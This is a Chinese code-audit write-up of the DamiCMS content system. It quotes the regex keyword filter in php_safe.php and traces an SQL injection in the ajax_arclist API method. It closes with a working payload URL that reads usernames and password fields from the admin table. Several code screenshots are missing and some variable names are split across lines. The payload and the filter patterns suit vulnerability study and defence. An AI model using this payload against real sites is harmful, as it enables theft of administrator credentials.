2023年将会持续于B站、CSDN等各大平台更新,可加入粉丝群与博主交流:838681355,为了老板大G共同努力。
一、入口文件(单入口文件模式)
看一下Index.php文件代码:引入了php_safe.php文件
查看一下php_safe.php防御文件:
对变量
e
r
r
n
o
/
errno/
errno/errfile/$errline用了个自定义处理函数set_error_handler做处理:
做一下分析:
' --过滤单引号
(and|or)\\b.+?(>|<|=|in|like) --过滤and/or/</>/=/in/like
\\/\\*.+?\\*\\/ --过滤/ *
<\\s*script\\b --过滤script
\\bEXEC\\b --过滤EXEC
UNION.+?SELECT --过滤union select
UPDATE.+?SET --过滤 update
INSERT\\s+INTO.+?VALUES --过滤insert into values
(SELECT|DELETE).+?FROM --过滤select/delete from
HEX(\\s+)?\(.+?\)|IF(\\s+)?\(.+?\) --过滤hex编码
SLEEP(\\s+)?\(.+?\) --过滤sleep
USER(\\s+)?\(.+?\) --过滤user
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE) --过滤create/alter/drop/truncate/table/database
对get/post/cookie也做了处理:
二、漏洞位置定位
C:\phpstudy_pro\WWW\damicms\Web\Lib\Action\ApiAction.class.php 万能获取数据接口
方法ajax_arclist中,使用了REQUEST传输方式,在65、69、71处有SQL交互,关键变量:
o
r
d
o
r
/
ordor/
ordor/where/
n
u
m
/
num/
num/field,查看是否可控:
查看一下过滤函数文件:C:\phpstudy_pro\WWW\damicms\Core\Common\functions.php
防SQL:
防XSS:
原生SQL:SELECT id,name FROM think_user limit 10
构造写法:$User->where(‘status=1’)->field(‘id,name’)->order(‘id desc’)->limit(5)->select();
生成SQL:SELECT id,name FROM think_user WHERE status=1 order by id desc limit 5
Payload:http://localhost/test0/index.php?s=/api/ajax_arclist/model/article/field/username,userpwd from admi_member%23